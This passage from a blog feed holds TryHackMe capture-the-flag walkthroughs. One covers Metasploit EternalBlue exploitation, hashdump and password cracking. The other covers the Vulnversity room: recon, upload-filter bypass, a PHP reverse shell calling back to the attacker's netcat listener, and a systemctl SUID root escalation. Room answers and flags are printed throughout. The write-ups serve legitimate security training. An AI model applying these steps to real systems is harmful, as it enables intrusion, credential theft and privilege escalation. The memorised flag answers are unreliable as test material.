<p><img src="https://miro.medium.com/v2/resize:fit:875/1*2IoEjL_LfbG3f8bvWM0ZNA.png" alt /></p>
<p>Use 0 name/description to answer next question.</p>
<blockquote>
<p><em>Q: Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/……..)</em></p>
<p><strong><em>A: exploit/windows/smb/ms17_010_eternalblue</em></strong></p>
</blockquote>
<ul>
<li>Run the following:</li>
</ul>
<blockquote>
<p><em>use 0</em></p>
<p><em>show options</em></p>
<p><em>set RHOSTS 10.10.147.79</em></p>
<p><em>run</em></p>
<p><em>Q: Show options and set the one required value. What is the name of this value? (All caps for submission)</em></p>
<p><strong><em>A: RHOSTS</em></strong></p>
</blockquote>
<ul>
<li>I think it’s important to note that things do not always pan out or work out the way you expect they might 100% of the time. Take the screenshots taken below for instance. Both brought me to a meterpreter shell with elevated privileges, however one gave me an error and one responded “WIN”. The outcome was the same but the journey was different.</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*dbesQyBl5lJBgUUBWl4GXw.png" alt /></p>
<p>Error to meterpreter.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*oTwAQeWCFXyGBfAK6yFspQ.png" alt /></p>
<p>WIN to meterpreter.</p>
<h1 id="heading-task-3-escalate"><strong>Task 3: Escalate</strong></h1>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*6JtnqIr8JDROsgFe7Qokyw.png" alt /></p>
<p>These steps can be skipped if you already reached meterpreter and escalated privileges.</p>
<ul>
<li>Run the following:</li>
</ul>
<blockquote>
<p><em>shell</em></p>
<p><em>whoami</em></p>
</blockquote>
<ul>
<li><p>Drop down a shell and verify you are actually running at “NT AUTHORITY\SYSTEM”. (Use (Ctrl + z) to return to meterpreter session.)</p>
</li>
<li><p>Run the following:</p>
</li>
</ul>
<blockquote>
<p><em>ps</em></p>
<p><em>migrate 1276 (migrating to spoolsv.exe) (Process is not always the same but should typically be in the same general range/start with 12xx.)</em></p>
<p><em>getuid (verify you are still in NT AUTHORITY\SYSTEM while in meterpreter.)</em></p>
</blockquote>
<ul>
<li>The meterpreter session that you start out with is not always the most stable. If you can, migrate to the <strong>spoolsv.exe</strong> process. This is the printer process, and it always runs with NT AUTHORITY\SYSTEM. It will also always match the architecture of the system. If you kill this it will respawn and it won’t break your system.</li>
</ul>
<h1 id="heading-task-4-cracking"><strong>Task 4: Cracking</strong></h1>
<blockquote>
<p><em>hashdump</em></p>
</blockquote>
<ul>
<li>Copy and paste Jon’s full hash into a file name of your choice into a new terminal not in meterpreter (mine is jripper.hash).</li>
</ul>
<blockquote>
<p><em>touch jripper.hash</em></p>
<p><em>gedit jripper.hash</em></p>
<p><em>john jon.hash — format=NT — wordlist=/usr/share/wordlists/rockyou.txt</em></p>
<p><em>john jon.hash — show — format=NT</em></p>
</blockquote>
<ul>
<li>Ensure your individual path leads to your rockyou.txt location within your filesystem. This location is not universal and may be found somewhere else.</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*ZY2pBm96eA7qBckxrNS1ug.png" alt /></p>
<p>jripper.hash output w/ cracked password.</p>
<blockquote>
<p><em>Q: Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?</em></p>
<p><strong><em>A: Jon</em></strong></p>
<p><em>Q: Copy this password hash to a file and research how to crack it. What is the cracked password?</em></p>
<p><strong><em>A: alqfna22</em></strong></p>
</blockquote>
<h1 id="heading-task-5-find-flags"><strong>Task 5: Find Flags!</strong></h1>
<blockquote>
<p><em>Q: Flag1? This flag can be found at the system root.</em></p>
<p><strong><em>A: flag{access_the_machine}</em></strong></p>
<p><strong><em>Location: C:\</em></strong></p>
<p><em>Q: Flag 2? \</em>Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.*</p>
<p><strong><em>A: flag{sam_database_elevated_access}</em></strong></p>
<p><strong><em>Location: C:\windows\system32\config</em></strong></p>
<p><em>Q: flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.</em></p>
<p><strong><em>A: flag{admin_documents_can_be_valuable}</em></strong></p>
<p><strong><em>Location: C:\users\jon\documents</em></strong></p>
</blockquote>
<p>Congratulations!</p>
]]></content:encoded></item><item><title><![CDATA[THM | Vulnversity]]></title><description><![CDATA[VULNVERSITY

Learn about active recon, web app attacks and privilege escalation.

Task 1: Deploy The Machine

Here we will simply deploy the machine by selecting[Start Machine] labeled in green, and then select [Start AttackBox] at the top labeled in...]]></description><link>https://www.nightf00t.com/thm-vulnversity</link><guid isPermaLink="true">https://www.nightf00t.com/thm-vulnversity</guid><dc:creator><![CDATA[nightf00t]]></dc:creator><pubDate>Mon, 21 Apr 2025 17:51:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745261552090/306acc38-166d-4aa3-9aee-7140e901fd85.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-vulnversity"><strong>VULNVERSITY</strong></h2>
<ul>
<li>Learn about active recon, web app attacks and privilege escalation.</li>
</ul>
<h2 id="heading-task-1-deploy-the-machine"><strong>Task 1: Deploy The Machine</strong></h2>
<ul>
<li>Here we will simply deploy the machine by selecting[<strong>Start Machine</strong>] labeled in green, and then select [<strong>Start AttackBox</strong>] at the top labeled in blue.</li>
</ul>
<h2 id="heading-task-2-reconnaissance"><strong>Task 2: Reconnaissance</strong></h2>
<ul>
<li>After deployment, we now have a machine that we can target and attack. We see the following information:</li>
</ul>
<blockquote>
<p><em>Title, IP Address, Expires.</em></p>
</blockquote>
<ul>
<li><p>The piece I am concerned with here is the IP Address. In order to gather more information about the machine, we can use the network scanning tool Nmap (Network Mapper) to gain some more insight into the target host.</p>
</li>
<li><p>To scan the target machine, one command we can run is <strong>nmap -sV</strong>. This command will probe the hosts’ open ports, and attempt to determine It’s service/version information. My IP Address for my given machine in this session is <strong>10.10.224.64</strong> so we’ll stick with that.</p>
</li>
</ul>
<blockquote>
<p><em>nmap -sV 10.10.224.64</em></p>
</blockquote>
<p><strong>Nmap Bg:</strong></p>
<ul>
<li><p>Nmap is a free, open-source and powerful tool used to discover hosts (computers) and services on a computer network. In our example, we are using Nmap to scan this machine (with the IP Address: 10.10.224.64) to identify all services running on a particular port. (Keep in mind: ports are really just a landing area for a specific protocol. SSH runs on 22 while HTTP runs on 80, and so on.)</p>
</li>
<li><p>Nmap has many capabilities; the table below summarises some of its functionality for your reference:</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*dEhiNClzssoPKa8IXMJxoA.png" alt /></p>
<p>Nmap Flag scan descriptions.</p>
<ul>
<li>After the scan is completed, we glean the following information:</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*n40Gh1l-CVCW3C7EaL9EbA.png" alt /></p>
<p>You should see something like this.</p>
<ul>
<li>What this tells us is that we have discovered <strong>6</strong> ports that are actively open. This information will help us answer the following questions:</li>
</ul>
<blockquote>
<p><em>Q: Scan the box; how many ports are open?</em></p>
<p><strong><em>A: 6</em></strong></p>
<p><em>Q: What version of the squid proxy is running on the machine?</em></p>
<p><strong><em>A: 3.5.12</em></strong></p>
<p><em>Q: How many ports will Nmap scan if the flag -p-400 was used?</em></p>
<p><strong><em>A: 400</em></strong></p>
<p><em>Q: What is the most likely operating system this machine is running?</em></p>
<p><strong><em>A: Ubuntu</em></strong></p>
<p><em>Q: What port is the web server running on?</em></p>
<p><strong><em>A: 3333</em></strong></p>
<p><em>(<strong><strong>Note</strong></strong>: After running [nmap -sV 10.10.224.64] we see “Apache” which is indeed a webserver.)</em></p>
<p><em>Q: What is the flag for enabling verbose mode using Nmap?</em></p>
<p><strong><em>A: -v</em></strong></p>
</blockquote>
<h2 id="heading-task-3-locating-directories-using-gobuster"><strong>Task 3: Locating Directories Using Gobuster</strong></h2>
<ul>
<li><p>With Gobuster, what we are going to do is to locate a directory within the webapp that isn’t supposed to be there (i.e discover a vulnerability) and use this to our advantage to upload a reverse shell that will call back for us to accept the invite and get into the webserver itself..</p>
</li>
<li><p>Here’s a table that summarizes some of Gobuster’s functionality:</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:873/1*5hj1Y6lUtDm664NnzcU4PA.png" alt /></p>
<p>Gobuster Flag scan descriptions.</p>
<ul>
<li>What we are told to do in the room is to run the following:</li>
</ul>
<blockquote>
<p><em>gobuster dir -u http://10.10.224.64:3333</em></p>
</blockquote>
<ul>
<li>That part we can understand. What we are trying to do here is to use the Gobuster tool to search for directories within the provided URL. Easy enough. However, we need to know what we want to look for. That’s where wordlists come in. The room tells us that a word list set can be found under the following directory within the AttackBox:</li>
</ul>
<blockquote>
<p><em>/usr/share/wordlists/dirbuster/directory-list-1.0.txt</em></p>
</blockquote>
<ul>
<li><p>If you traverse your way through the directories into the .txt file you will see a list of words used to see if anything in the webapp directories stick under the 10.10.224.64 IP.</p>
</li>
<li><p>The complete command you should run is as follows:</p>
</li>
</ul>
<blockquote>
<p><em>gobuster dir -u 10.10.224.64 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt</em></p>
</blockquote>
<ul>
<li>Here is the output we should receive:</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*qcUyfUTzLo_reQLiJgyBEA.png" alt /></p>
<ul>
<li>Take note that /internal/ is the only directory that is out of the ordinary. All other directories are to be expected on a public-facing website. If you add /internal/ to the http extension (e.g <a target="_blank" href="http://10.10.224.64:3333/internal/\)">http://10.10.224.64:3333/internal/)</a> it displays an upload page for uploading files.)</li>
</ul>
<blockquote>
<p><em>Q: What is the directory that has an upload form page?</em></p>
<p><strong><em>A: /internal/</em></strong></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*pxNavpB09v4CrpdNOOpahw.png" alt /></p>
<p><a target="_blank" href="http://10.10.224.64:3333/internal/\)">http://10.10.224.64:3333/internal/</a> file upload page.</p>
<ul>
<li>Now, even though we have discovered the webpage, we don’t have to stop there. In the FireFox browser if you go to extensions and search for “Wappalyzer”, you can install and enable the extension. This will allow you to glean some insight into how the site was built and what file types it may or may not allow. Since we are the aggressor, naturally we want to uncover what file types are allowed so as to use that against the site.</li>
</ul>
<h2 id="heading-task-4-compromise-the-webserver"><strong>Task 4: Compromise the Webserver</strong></h2>
<ul>
<li><p>Now that we have found a form to upload files, we can leverage this to upload and execute our payload, which will lead to compromising the web server.</p>
</li>
<li><p>The room wants us to “fuzz” the upload form and try some file type extensions on it to see if it will take. Instead of using BurpSuite, we could just try the 5 different php file extensions and see which one gets through and which ones get blocked. After a little bit of trial and error, you will come to find that the .phtml extension is the only file type that is allowed which we will use for our payload.</p>
</li>
</ul>
<blockquote>
<p><em>Q: What common file type you’d want to upload to exploit the server is blocked? Try a couple to find out.</em></p>
<p><strong><em>A: .php</em></strong></p>
<p><strong><em>(Note:</em></strong> <em>.php is a file type you would want to upload because it would allow you to upload source code in order to exploit the server.)</em></p>
<p><em>Q: Run this attack, what extension is allowed?</em></p>
<p><strong><em>A: .phtml</em></strong></p>
</blockquote>
<ul>
<li>Now that we know this, we can use the given “php-reverse-shell” from the following URL:</li>
</ul>
<blockquote>
<p><a target="_blank" href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php"><em>https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php</em></a></p>
</blockquote>
<ul>
<li><p>Select, “Copy raw file” on the top right-hand side and paste it into a .phtml of your choosing. I’ve gone ahead and named mine, “twistcut.phtml”. (This mind you, is all being done inside of the THM AttackBox).</p>
</li>
<li><p>After you paste the reverse shell code into a file, you want to make sure to change the <strong>tun0 ip</strong>, by going to <a target="_blank" href="http://10.10.10.10/?ref=hackernoon.com">http://10.10.10.10</a> in the browser of your TryHackMe connected device. This will display a flag and your VPN/TryHackMe IP of: (in my case) 10.10.90.23. Now, when you are looking at your php-reverse-shell code within your twistcut.phtml file, you want to ensure that you use that tun0 ip and input into the “$ip:” slot. Now you can save and exit.</p>
</li>
<li><p><strong><em>(Note:</em></strong> <em>Make sure you insert the tun0 ip and now the target machine ip. If you do the former it will not work.)</em></p>
</li>
<li><p>Now in your terminal, you want to type the following command to listen in on when you submit the .phtml payload file. Run the following command in the terminal:</p>
</li>
</ul>
<blockquote>
<p><em>nc -lvnp 1234</em></p>
</blockquote>
<ul>
<li>Go to the upload page and submit the “twistcut.phtml” file. Once you do, you’ll want to add the /uploads/twistcut.html to the end of the URL to successfully hack into the webserver. The URL should read:</li>
</ul>
<blockquote>
<p><a target="_blank" href="http://10.10.65.1:3333/internal/uploads/twistcut.phtml"><em>http://10.10.65.1:3333/internal/uploads/twistcut.phtml</em></a></p>
</blockquote>
<ul>
<li>If you look back at your terminal you’ll find that you are in and have successfully taken control of the webserver. In order to get the next two flags, you will want to run the following or a variation of the following:</li>
</ul>
<blockquote>
<p><strong><em>ls*</em></strong>,<em> **</em>cd home<strong><em>*,</em> *</strong>ls<strong><em>*,</em> *</strong>cd bill<strong><em>*,</em> *</strong>ls<strong><em>*,</em> *</strong>cat user.txt<em>**</em>.*</p>
</blockquote>
<ul>
<li>This will give you both flags required to continue down the room.</li>
</ul>
<blockquote>
<p><em>Q: What is the name of the user who manages the webserver?</em></p>
<p><strong><em>A: bill</em></strong></p>
<p><em>Q: What is the user flag?</em></p>
<p><strong><em>A: 8bd7992fbe8a6ad22a63361004cfcedb</em></strong></p>
</blockquote>
<h2 id="heading-task-5-privesc"><strong>Task 5: PrivEsc</strong></h2>
<ul>
<li>Next, you want to bring in code from a tool called, “LinPEAS”. This tool is specifically designed for linux machines and its purpose is to run a script that will search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. Essentially, it will show you what might be vulnerable and highlight it for you so you can escalate your privileges and move even further into the webserver host.</li>
</ul>
<blockquote>
<p><a target="_blank" href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"><em>https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS</em></a></p>
</blockquote>
<ul>
<li>After running LinPEAS you will find that “/bin/systemctl” stands out the most of the SUID files. This answers the question:</li>
</ul>
<blockquote>
<p><em>Q: On the system, search for all SUID files. Which file stands out?</em></p>
<p><strong><em>A: /bin/systemctl</em></strong></p>
</blockquote>
<ul>
<li>Now that we know that particular path is vulnerable, we can use a tool called “GTFOBins”. This tool is a “curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems”. Perfect, because we know exactly what we are looking for. Enter [<strong>+SUID</strong>] into the search bar and look for “systemctl” as you scroll down. Follow the instructions it gives you and run the program using its original path. It should look something like this:</li>
</ul>
<blockquote>
<p><em>cd /tmp</em></p>
<p><em>eop=$(mktemp).service</em></p>
<p><em>echo “[Service]</em></p>
<p><em>ExecStart=/bin/sh -c “cat /root/root.txt &gt; /tmp/output”</em></p>
<p><em>[Install]</em></p>
<p><em>WantedBy=multi-user.target’ &gt; $eop</em></p>
<p><em>/bin/systemctl link $eop</em></p>
<p><em>/bin/systemctl enable — now $eop</em></p>
<p><em>From here you should be good to go, navigate your way through the /tmp/output directories to find the output and receive your final flag!</em></p>
<p><em>Q: Become root and get the last flag (/root/root.txt)</em></p>
<p><em>A: a58ff8579f0a9270368d33a9966c7fd5</em></p>
</blockquote>
<p>Congratulations!</p>
]]></content:encoded></item></channel></rss>